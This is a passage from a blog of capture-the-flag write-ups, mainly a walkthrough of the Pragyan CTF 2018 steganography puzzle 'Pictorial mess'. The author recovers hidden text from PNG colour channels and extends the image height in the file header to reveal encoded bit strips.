<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbYRa3QYmjGwhyb6hFiySRyRbIM7XLZpm_DHrfvp6iaE3iDIOXYjL6d9ndIJkTBnslwOinzNVgfIlOqL9pjyz0fp-5nYP84xyFd5_624DYxF3Eee4pZX4p9THJMCF9gg074ksySCUYLEg/s1600/5-d.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="136" data-original-width="612" height="71" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbYRa3QYmjGwhyb6hFiySRyRbIM7XLZpm_DHrfvp6iaE3iDIOXYjL6d9ndIJkTBnslwOinzNVgfIlOqL9pjyz0fp-5nYP84xyFd5_624DYxF3Eee4pZX4p9THJMCF9gg074ksySCUYLEg/s320/5-d.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-glKLjvVtpYzM3LGVptwZNFbqJmgKa2c2AR_90snUOT495s7qyCdOzl8t7HKTB6xlpQfiufk6hWxv1Iv3H_IV2YO512WNklRoDTBrM2W-x449ZkGn_UpHDETG3NzeYR9mf3DwjMHu_3c/s1600/6-f.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="189" data-original-width="577" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-glKLjvVtpYzM3LGVptwZNFbqJmgKa2c2AR_90snUOT495s7qyCdOzl8t7HKTB6xlpQfiufk6hWxv1Iv3H_IV2YO512WNklRoDTBrM2W-x449ZkGn_UpHDETG3NzeYR9mf3DwjMHu_3c/s320/6-f.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQXKtJoW9wNr4BRyv-Mjt0D3YISs8H2t9xcHyiBARZjeuRrQEOUyop7VQZyMUv5C8maR6FHhGeiHwLdTy7oEuiV6OBlWmslBc1Ff2AiG-n8PBe5G9i1CRqTQ6tUWD8lr2B4IZacFy_kJQ/s1600/7-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="127" data-original-width="540" height="75" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQXKtJoW9wNr4BRyv-Mjt0D3YISs8H2t9xcHyiBARZjeuRrQEOUyop7VQZyMUv5C8maR6FHhGeiHwLdTy7oEuiV6OBlWmslBc1Ff2AiG-n8PBe5G9i1CRqTQ6tUWD8lr2B4IZacFy_kJQ/s320/7-0.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUdc5VWxcnhYsfzt0Ds78sHvvuXewx7IzbcemZFdawIuqpmJTEUPp43DmWZx01E9Hyb9bu0cklenX_xWDXdEPQjDDwogWR9TY_ucbbiweHzhfrnC_zzdvE2_s7_YOZI4GCIXzIVg1ChnQ/s1600/8-l.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="160" data-original-width="621" height="82" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUdc5VWxcnhYsfzt0Ds78sHvvuXewx7IzbcemZFdawIuqpmJTEUPp43DmWZx01E9Hyb9bu0cklenX_xWDXdEPQjDDwogWR9TY_ucbbiweHzhfrnC_zzdvE2_s7_YOZI4GCIXzIVg1ChnQ/s320/8-l.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1haWiu26S6zV7x5cntMd1B6HdjPsGkF66DDHdMk3z7rsEC5ZJX7iMwHwQfF5GmjPDpAvn0ec_VgFceiySGk-P5mfcDZXDz3izwZpdzJYs9KtgCf6q6lEuwphymvf9ax0S-j7eLb8CU9k/s1600/9-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="140" data-original-width="616" height="72" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1haWiu26S6zV7x5cntMd1B6HdjPsGkF66DDHdMk3z7rsEC5ZJX7iMwHwQfF5GmjPDpAvn0ec_VgFceiySGk-P5mfcDZXDz3izwZpdzJYs9KtgCf6q6lEuwphymvf9ax0S-j7eLb8CU9k/s320/9-1.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiihd2Z7QtKHtOMr04oBq7r4-dSMZShLMAWAHRKhla9K1LE11vcAW9zXCa6PjeuPWXccJxzKDP4OOp2fCTy30g3AWnoshgSQYQ3lCuAqYXTHZZr0G5YcsK1nHE61OA9HVHF1Th_3QgewK8/s1600/10-f.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="151" data-original-width="609" height="79" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiihd2Z7QtKHtOMr04oBq7r4-dSMZShLMAWAHRKhla9K1LE11vcAW9zXCa6PjeuPWXccJxzKDP4OOp2fCTy30g3AWnoshgSQYQ3lCuAqYXTHZZr0G5YcsK1nHE61OA9HVHF1Th_3QgewK8/s320/10-f.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
These decode to 'df0l1f', wrapping up the remaining pieces of the flag.
<br />
<br />
Adding everything together, we get the full flag:
<br />
<br />
<pre>pctf{3d>2df0l1f3}</pre>
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-19317976499758782092018-03-05T23:18:00.001-08:002018-03-06T17:18:59.762-08:00Pragyan CTF 2018 - Pictorial mess (300)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg59gWQlDH0zcprsHb2LxkXKX9Z-An7YQfJPB50DV0oT5TMjCobwWEHZecRmy8iirlZ3Xs-htibShPpOIvKnulxDvcKOOF7lQsnYbbQcIohhLpE_2FS3OkklJw1ExhFQQafXiY3RIInFM/s1600/result-a.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="81" data-original-width="275" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg59gWQlDH0zcprsHb2LxkXKX9Z-An7YQfJPB50DV0oT5TMjCobwWEHZecRmy8iirlZ3Xs-htibShPpOIvKnulxDvcKOOF7lQsnYbbQcIohhLpE_2FS3OkklJw1ExhFQQafXiY3RIInFM/s640/result-a.png" width="640" /></a></div>
<br />
This was an annoying but very rewarding challenge in the end once the idea came together.<br />
We start off with a file called files.zip which contains seven png's from 0-6.png:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3b5PS6PkT7FrYl19x-n795ej_lR04Mo_4SobpSbQBWy3aCBxagtrWCOnAoJTGdoxMBiAoU-HA1WfxuS9mS8Rq9sgM7zO4fDuSKYfd3KntMoDeyjYW2iD4AZcCuo9WAmuBK4_wcYRuOQQ/s1600/files.png" imageanchor="1" style="margin-left: -5.5em; margin-right: 1em;"><img border="0" data-original-height="371" data-original-width="1038" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3b5PS6PkT7FrYl19x-n795ej_lR04Mo_4SobpSbQBWy3aCBxagtrWCOnAoJTGdoxMBiAoU-HA1WfxuS9mS8Rq9sgM7zO4fDuSKYfd3KntMoDeyjYW2iD4AZcCuo9WAmuBK4_wcYRuOQQ/s1600/files.png" /></a></div>
<br />
Source files: <a href="https://github.com/vitapluvia/Pragyan-CTF-2018/tree/master/stego/pictoral-mess">https://github.com/vitapluvia/Pragyan-CTF-2018/tree/master/stego/pictoral-mess</a><br />
<br />
Looking at these we have the following images filled with color:
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLxrWz72y1NfirtVEGEtcxcgj4FYA7FWBpgoRzwGkqAkZPw54DQzVmZmp3d_1YhN9_QW-PxQNxXt6HIilderEf6iNHDgEYhtAN7cShZ7FpXy0dIivFsAiy4RxnoTRKb6MkHe8Se5GtSYM/s1600/0.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLxrWz72y1NfirtVEGEtcxcgj4FYA7FWBpgoRzwGkqAkZPw54DQzVmZmp3d_1YhN9_QW-PxQNxXt6HIilderEf6iNHDgEYhtAN7cShZ7FpXy0dIivFsAiy4RxnoTRKb6MkHe8Se5GtSYM/s200/0.png" width="200" /></a></div>
<div style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgadSNO_F3qzrGblcz7x_2kzJTmf1COgd-T-9bbzTguNol97BO-PYcLlWFr3P9Ld374w88k9nU9mH37EnD4jXowN036rWBPR9YzsXuIH5aoTaE2x-fjxxu1zdJNLqwUTDZ3ngg5YwJ0hEE/s1600/2.png" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;"></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgadSNO_F3qzrGblcz7x_2kzJTmf1COgd-T-9bbzTguNol97BO-PYcLlWFr3P9Ld374w88k9nU9mH37EnD4jXowN036rWBPR9YzsXuIH5aoTaE2x-fjxxu1zdJNLqwUTDZ3ngg5YwJ0hEE/s1600/2.png" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgadSNO_F3qzrGblcz7x_2kzJTmf1COgd-T-9bbzTguNol97BO-PYcLlWFr3P9Ld374w88k9nU9mH37EnD4jXowN036rWBPR9YzsXuIH5aoTaE2x-fjxxu1zdJNLqwUTDZ3ngg5YwJ0hEE/s200/2.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibcVIhFbqSelZjo801g_TM9QDKCreIkNTTFud9HaAeaCQKohmsDNZJxWOwJpsxDHxxUm9hZOllI3quoNCmbqO4u8WhW4x08Jfx9k9q1s-h_iTetzFaOndeL12gUA17T5Az1u8LGsenJiQ/s1600/1.png" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibcVIhFbqSelZjo801g_TM9QDKCreIkNTTFud9HaAeaCQKohmsDNZJxWOwJpsxDHxxUm9hZOllI3quoNCmbqO4u8WhW4x08Jfx9k9q1s-h_iTetzFaOndeL12gUA17T5Az1u8LGsenJiQ/s200/1.png" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgeka64tkq8F3m_U1S9Crt6jAMP2u2-l88T5unMd8WKtUp1I7zdTxNy0jGca9Vo7dDQQFGQgER4iijpDPLv0BDMw9kRT_GeNU3JcuAa_Od83PCSTkHmw6akbkNBsZrRviyFbx1xbRxyHE/s1600/3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgeka64tkq8F3m_U1S9Crt6jAMP2u2-l88T5unMd8WKtUp1I7zdTxNy0jGca9Vo7dDQQFGQgER4iijpDPLv0BDMw9kRT_GeNU3JcuAa_Od83PCSTkHmw6akbkNBsZrRviyFbx1xbRxyHE/s200/3.png" width="200" /></a></div>
<div style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRdFT-PGGHJ591MqkQOHUPMQbRiGvuwYCQoZOktWeXEGyyvhkKh9sjyNx9TV9WE9cNfdDTTrt_N6ugD7wvPsKgGxLFpW27FJkhe9oLPSTqlwQIFBgw-PkdxpzkMipDG12zwDrlZ1v6TWA/s1600/4.png" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;"></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRdFT-PGGHJ591MqkQOHUPMQbRiGvuwYCQoZOktWeXEGyyvhkKh9sjyNx9TV9WE9cNfdDTTrt_N6ugD7wvPsKgGxLFpW27FJkhe9oLPSTqlwQIFBgw-PkdxpzkMipDG12zwDrlZ1v6TWA/s1600/4.png" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRdFT-PGGHJ591MqkQOHUPMQbRiGvuwYCQoZOktWeXEGyyvhkKh9sjyNx9TV9WE9cNfdDTTrt_N6ugD7wvPsKgGxLFpW27FJkhe9oLPSTqlwQIFBgw-PkdxpzkMipDG12zwDrlZ1v6TWA/s200/4.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIk5wWFNV8MAaqA5D6jeL4G3LS5KsazHunm8NBr0a5wb_cBHiI7rBSB6jR-f8c-UtBh3Qc3yw51MNMQgRPe-FJlizSydmxsplZJShXA8NBEFt4NEiShryQrjkf4xeL5cGAgBW9ufI9d30/s1600/5.png" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIk5wWFNV8MAaqA5D6jeL4G3LS5KsazHunm8NBr0a5wb_cBHiI7rBSB6jR-f8c-UtBh3Qc3yw51MNMQgRPe-FJlizSydmxsplZJShXA8NBEFt4NEiShryQrjkf4xeL5cGAgBW9ufI9d30/s200/5.png" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3gOkf3NpkdtwZF2iSSjguCtchomgbYGPEzLgIArfx2SmoITRsPdoQpPhoTU77d0P6-Tb_drNr7OIOZ1n6VXqhHQcwOAJ_Iz03bO8KuQUeKSyXsk1AYCdIsu-H-hJq-XcpYk0-84EqMs8/s1600/6.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3gOkf3NpkdtwZF2iSSjguCtchomgbYGPEzLgIArfx2SmoITRsPdoQpPhoTU77d0P6-Tb_drNr7OIOZ1n6VXqhHQcwOAJ_Iz03bO8KuQUeKSyXsk1AYCdIsu-H-hJq-XcpYk0-84EqMs8/s200/6.png" width="200" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
First we could see if any of these images have hidden values in the RGB values, they seem like a good candidate for this. Opening them in stegsolve and cycling through the channel filters, we start to see letters appear:
<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZvTb0CgQ44NJruI9XrRdsiUybiOUVLmSbMxja5rZz9TbVqCvAquHsf6jZIWWD2xhI5SByQKhl2fohF1FQA_rxVpxfVbFvNOMZH38pPaCTP1Tq0_5bqruC-6MEcRVYj_aN-Zjnd_3w5hk/s1600/0-make.png" imageanchor="1"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZvTb0CgQ44NJruI9XrRdsiUybiOUVLmSbMxja5rZz9TbVqCvAquHsf6jZIWWD2xhI5SByQKhl2fohF1FQA_rxVpxfVbFvNOMZH38pPaCTP1Tq0_5bqruC-6MEcRVYj_aN-Zjnd_3w5hk/s200/0-make.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKdpnDMjt5HHE8MWpsqrcu756KNB_IBoRwJ8KyKVGpnFGzBW_TSGFd3F1QoU2O6o9IWhkoI0Py1AVvKELb4ks9y9Og0-tOhIU8_WY8NzVChMwGbw-nSV10L2ssBNzCE0QO-5DJbtPtMfs/s1600/1-M.png" imageanchor="1"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKdpnDMjt5HHE8MWpsqrcu756KNB_IBoRwJ8KyKVGpnFGzBW_TSGFd3F1QoU2O6o9IWhkoI0Py1AVvKELb4ks9y9Og0-tOhIU8_WY8NzVChMwGbw-nSV10L2ssBNzCE0QO-5DJbtPtMfs/s200/1-M.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKX1B_7VYZGyYw5sHztVQUluzNOSapcTC4A-UvJ-QMxHUJlRMbweimvTX6STXWGsBuUbP62MgQjEaGgb9bVu6GjoCA3es2g3QjtEt6t8UjUI6nZfVrItnpLGgQFM7aABEegsytnMFfMGU/s1600/2-e.png" imageanchor="1"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKX1B_7VYZGyYw5sHztVQUluzNOSapcTC4A-UvJ-QMxHUJlRMbweimvTX6STXWGsBuUbP62MgQjEaGgb9bVu6GjoCA3es2g3QjtEt6t8UjUI6nZfVrItnpLGgQFM7aABEegsytnMFfMGU/s200/2-e.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW5dxUfIJS8TqtQUg2LHpiYTh8BBhGaV_xUdVS74WS1RnxqWRDGzsobUqnUTAsmLyAWaLGRK9qNGDpDiPFPzGiClraV5V9WK4rH4g2JDSBblRE9PEFHo93LA74EV107reA5fN87J2xxo/s1600/3-T.png" imageanchor="1"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW5dxUfIJS8TqtQUg2LHpiYTh8BBhGaV_xUdVS74WS1RnxqWRDGzsobUqnUTAsmLyAWaLGRK9qNGDpDiPFPzGiClraV5V9WK4rH4g2JDSBblRE9PEFHo93LA74EV107reA5fN87J2xxo/s200/3-T.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNYjv13kXHlu_pdZXArSEuELl71kAM4-iZijNlR3ZQXMflDBldfKhugybuGefErfPGnE9GgAf1Uu7HsHGstqMRyWwOzY-zkgahW0unAVbWg0AWLM8HVy7vdp7pXm2G1oup1jTuwtSDJpM/s1600/4-a.png" imageanchor="1"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNYjv13kXHlu_pdZXArSEuELl71kAM4-iZijNlR3ZQXMflDBldfKhugybuGefErfPGnE9GgAf1Uu7HsHGstqMRyWwOzY-zkgahW0unAVbWg0AWLM8HVy7vdp7pXm2G1oup1jTuwtSDJpM/s200/4-a.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNIBrSz-muKpP6DcyDC2cmW0zvpMbfHrQBUA7eaFjjO-Vo9W3PHzhEf5PccZ9HajbsSR7k83Ycvx6ASnY6gNWK_EisBo7UTGJ6uyrUKzQYsLr46h3ELDBXT_VtqCpj1WERkBujr4kNiM8/s1600/5-l.png" imageanchor="1"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNIBrSz-muKpP6DcyDC2cmW0zvpMbfHrQBUA7eaFjjO-Vo9W3PHzhEf5PccZ9HajbsSR7k83Ycvx6ASnY6gNWK_EisBo7UTGJ6uyrUKzQYsLr46h3ELDBXT_VtqCpj1WERkBujr4kNiM8/s200/5-l.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeEa8M-8uGHCYHaV07HY5VzWn2xVtyS5IxNiU-G35ylzWBhnNzsJ2O5fyHEapHTrSSHTCJwD04DRi2EX4oKmZNsn-D75MBKiDrs49k_stTkaX7cBUAnVpCbmmJovpFp6dNe46ewHFleOA/s1600/6-l.png" imageanchor="1"><img border="0" data-original-height="380" data-original-width="400" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeEa8M-8uGHCYHaV07HY5VzWn2xVtyS5IxNiU-G35ylzWBhnNzsJ2O5fyHEapHTrSSHTCJwD04DRi2EX4oKmZNsn-D75MBKiDrs49k_stTkaX7cBUAnVpCbmmJovpFp6dNe46ewHFleOA/s200/6-l.png" width="200" /></a>
<br />
<br />
This seems to spell out 'MakeMeTall', attempting to submit this as the flag failed though. It was just a clue towards the next step.<br />
<br />
After some procrastination, it was time to try what must have been the right path. Edit the PNG in a hex editor and change the height value.<br />
<br />
For this we'll source the amazing corkami binary references - <a href="https://github.com/corkami/pics">https://github.com/corkami/pics</a>, in particular the PNG reference:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://raw.githubusercontent.com/corkami/pics/master/binary/PNG.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="574" data-original-width="800" height="459" src="https://raw.githubusercontent.com/corkami/pics/master/binary/PNG.png" width="640" /></a></div>
<br />
There are many great hex editors out there, feel free to use your favorite if you're following along.<br />
<br />
We want to look for IHDR and then skip past the next 4 bytes for the width to get to the height.<br />
For each image, this value is set to 0x0000017C.<br />
<br />
To make the image taller, let's increase that height value to 0x0000047C.<br />
After we save the new copy of this image, we'll notice a CRC error when checking it using <a href="http://www.libpng.org/pub/png/apps/pngcheck.html">pngcheck</a>.<br />
<br />
<pre>
zlib warning: different version (expected 1.2.5, using 1.2.11)
0.png CRC error in chunk IHDR (computed b301c292, expected e139ed35)
ERROR: 0.png
</pre>
<br />
If we run pngcheck again, we get no errors, and if we look at the image it seems to have some extra information on the bottom!
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipel5virJMg7iZlo6e2ODfdWuWaaCO1cUqBj331DajXmURPtnQr4Yz-wo7crqGZNEq0GHAnQn-rLW1JvQ__HE-fWagV1_1AB2gblEP4EU6muGsfq4L_zvvTypdMhvH1QV4jkWJ8k8GFBc/s1600/0-bits.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="285" data-original-width="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipel5virJMg7iZlo6e2ODfdWuWaaCO1cUqBj331DajXmURPtnQr4Yz-wo7crqGZNEq0GHAnQn-rLW1JvQ__HE-fWagV1_1AB2gblEP4EU6muGsfq4L_zvvTypdMhvH1QV4jkWJ8k8GFBc/s1600/0-bits.png" /></a></div>
<br />
Now we can repeat this process for the other images and check out the collection we get back:
<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG8iB_-dCEmMVOTnr0oIJ3jz3ame0Dz2f7OIJNIg2y3FgwDklgfN6RzeOxQsqBHh1HsQY1hg5IIa95sGkcc8tMbBxtd36I6IjtIlwxSIf6e0BUKGbnxgsHNP1NMsd7JqdqPSgX2w4NcaM/s1600/0-bits.png" imageanchor="1"><img border="0" data-original-height="285" data-original-width="281" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG8iB_-dCEmMVOTnr0oIJ3jz3ame0Dz2f7OIJNIg2y3FgwDklgfN6RzeOxQsqBHh1HsQY1hg5IIa95sGkcc8tMbBxtd36I6IjtIlwxSIf6e0BUKGbnxgsHNP1NMsd7JqdqPSgX2w4NcaM/s200/0-bits.png" width="197" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUKsnq-a8yUkqGMJ00BYAMxgWmNUm8Vl9fnGT8fn5LVsRQfG6raDJRjds8hcPC7I7S2x0sazimpwN0klxn2OqS4MQa4o6Z0kG0L2ZfqRN9BlQ1QeP2hqotrPeAtBFZRqgMcHktg0EUs8c/s1600/1-bits.png" imageanchor="1"><img border="0" data-original-height="281" data-original-width="283" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUKsnq-a8yUkqGMJ00BYAMxgWmNUm8Vl9fnGT8fn5LVsRQfG6raDJRjds8hcPC7I7S2x0sazimpwN0klxn2OqS4MQa4o6Z0kG0L2ZfqRN9BlQ1QeP2hqotrPeAtBFZRqgMcHktg0EUs8c/s200/1-bits.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSKkZ0TvVQqxAiZnxiRi04xcZxbe96FRUg-vFKGnXy70_FcOKpfAUM7mTgmcBXlCfEzb7YEKzkTtcMLqFDSVQcVAT7IVCmBDFCMs8zitsKiA42y3sYNg1mIPCBPkPktJRGoy_wM5pBgCc/s1600/2-bits.png" imageanchor="1"><img border="0" data-original-height="281" data-original-width="282" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSKkZ0TvVQqxAiZnxiRi04xcZxbe96FRUg-vFKGnXy70_FcOKpfAUM7mTgmcBXlCfEzb7YEKzkTtcMLqFDSVQcVAT7IVCmBDFCMs8zitsKiA42y3sYNg1mIPCBPkPktJRGoy_wM5pBgCc/s200/2-bits.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqO1KK-VHI1kctomSTOoLBDbffi9fIJT6Bi8PxakGVwWZdr_1NvI_wgIUFSw2fZ4kYDE9RX_CTj4y4oj60QQ4tvAevRV5D0Uvs33DwaxUZyT7lTYaIR1JAKtFYHnAJEvUEbNqqVvmeqOo/s1600/3-bits.png" imageanchor="1"><img border="0" data-original-height="282" data-original-width="281" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqO1KK-VHI1kctomSTOoLBDbffi9fIJT6Bi8PxakGVwWZdr_1NvI_wgIUFSw2fZ4kYDE9RX_CTj4y4oj60QQ4tvAevRV5D0Uvs33DwaxUZyT7lTYaIR1JAKtFYHnAJEvUEbNqqVvmeqOo/s200/3-bits.png" width="199" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgllUHKZcTyGr7EAZXxwV8nejuajkikFiT1YSPwTe4uJZ2jrsYfu1Eb5OTciyxUWIW65ZnqnstuYFEvYon4XGJ2srZwXN7DfTG_TeNru1zHf5HMlLmjK5_SikYFe-7kU3B4bypCb0UIi6Y/s1600/4-bits.png" imageanchor="1"><img border="0" data-original-height="282" data-original-width="283" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgllUHKZcTyGr7EAZXxwV8nejuajkikFiT1YSPwTe4uJZ2jrsYfu1Eb5OTciyxUWIW65ZnqnstuYFEvYon4XGJ2srZwXN7DfTG_TeNru1zHf5HMlLmjK5_SikYFe-7kU3B4bypCb0UIi6Y/s200/4-bits.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFPU5nRE97zos_WLKn2TgIlc6DM4uLXI67CyXXR9vRx7zaA7dRTy1Uq4-jgh6g6LpEyZCv8Rleiec7WhtbtufDuYqHCPt_hzDSPFxe6ThfY0AkeQcH_bidXNw2LxMhEbZnAtNt24fjUNw/s1600/5-bits.png" imageanchor="1"><img border="0" data-original-height="284" data-original-width="284" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFPU5nRE97zos_WLKn2TgIlc6DM4uLXI67CyXXR9vRx7zaA7dRTy1Uq4-jgh6g6LpEyZCv8Rleiec7WhtbtufDuYqHCPt_hzDSPFxe6ThfY0AkeQcH_bidXNw2LxMhEbZnAtNt24fjUNw/s200/5-bits.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihWGIE3Mpy2RTOJsOvVRMkDE3Y_QVkF0S-9hVSFlqP9lcb2Rse7cUlalKyfI3jJXNfUFCsB66cAxptm57EocMPIsojO7hgeVz4x4T29XVHfI_ByLn229iJ3m0-qyS35yRc48fpsNaBdgU/s1600/6-bits.png" imageanchor="1"><img border="0" data-original-height="282" data-original-width="281" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihWGIE3Mpy2RTOJsOvVRMkDE3Y_QVkF0S-9hVSFlqP9lcb2Rse7cUlalKyfI3jJXNfUFCsB66cAxptm57EocMPIsojO7hgeVz4x4T29XVHfI_ByLn229iJ3m0-qyS35yRc48fpsNaBdgU/s200/6-bits.png" width="199" /></a>
<br />
<br />
Now this looks a lot like the bottom strips may be bits which could decode to character values. There are 20 'bits' per image and 7 images total. If we stack these bits, we get the header of this writeup:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
